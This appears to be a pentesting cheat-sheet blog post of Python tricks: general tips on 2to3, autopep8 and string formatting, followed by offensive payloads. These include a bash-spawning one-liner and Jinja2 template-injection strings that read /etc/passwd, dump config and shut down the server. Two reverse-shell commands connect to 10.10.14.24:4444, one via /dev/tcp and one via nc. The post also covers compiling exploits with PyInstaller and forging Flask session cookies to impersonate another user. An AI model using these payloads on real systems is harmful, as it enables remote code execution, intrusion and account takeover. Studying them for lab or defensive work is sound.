Convert a Python2 script into a Python3 script:
2to3 -w example.py
Fix tab/space/identation problems:
autopep8 -i linuxprivchecker.py
If a library is installed, but cannot found
from smb.SMBConnection import SMBConnection
then try to search the file locally and include the path manually:
import sys
sys.path.append("path/to/your/file")
Oneliner for executing bash in a file:
echo 'import os;os.system("/bin/bash")' > /tmp/e.py
Execute something:
import os
os.system('ls -l')
__import__('os').popen('whoami').read();
os = globals()['os']
print(os.name)
Use python scripts under Windows
If an exploit is available in Python, but the target system doesn’t have a python installation, use in another Windows System/VM PyInstaller to create a EXE out of a Python script. Example
# pyinstaller --onefile windows-exploit-suggester.py
Or use https://pypi.org/project/auto-py-to-exe/
Note: In case of an error, try a newer release (pip install https://github.com/pyinstaller/pyinstaller/archive/develop.tar.gz)
Interpolation
"{name}".format(name="P")
"%s and %d" % ("string", 42)
f"User {user}" # variable user was defined before.
Jinja Template hijacking
Check with {{ 7+3 }} if this is executed, if a Python interpreter is using the template jinja engine.
{{ 7+3 }}
{{[].__class__.__base__.__subclasses__().pop(40)('etc/passwd').read() }}
{{ request.environ[‘werkzeug.server.shutdown’]() }} // ...
{{ config.items() }} // Read all config variables
Example:
- Execute the following to get an array of available classes.
{{ ''.__class__.__mro__[1].__subclasses__() }}This returns something like this.
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, ...
- Look if this includes Popen. If yes, note the index.
In this case, we have popen at index 407 (line 408 — 1). - {{”.__class__.__mro__[1].__subclasses__()[407](“bash ‑i >& /dev/tcp/10.10.14.24/4444 0>&1”,shell=True,stdout=-1, stderr=-1).communicate()}}
- {{”.__class__.__mro__[1].__subclasses__()[407](“mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc 10.10.14.24 4444 1>/tmp/backpipe”,shell=True,stdout=-1, stderr=-1).communicate()}}
- https://medium.com/@akshukatkar/rce-with-flask-jinja-template-injection-ea5d0201b870
Flask
Flask uses a secret key to sign cookies. If you have a secret key, you can use flask-unsign to decode a cookie you’ve got from the http response.

The second command from this screenshot changed the id. The new created cookie can be used for a HTTP request which then would impersionate the user with id 20093.
Leave a Reply
You must be logged in to post a comment.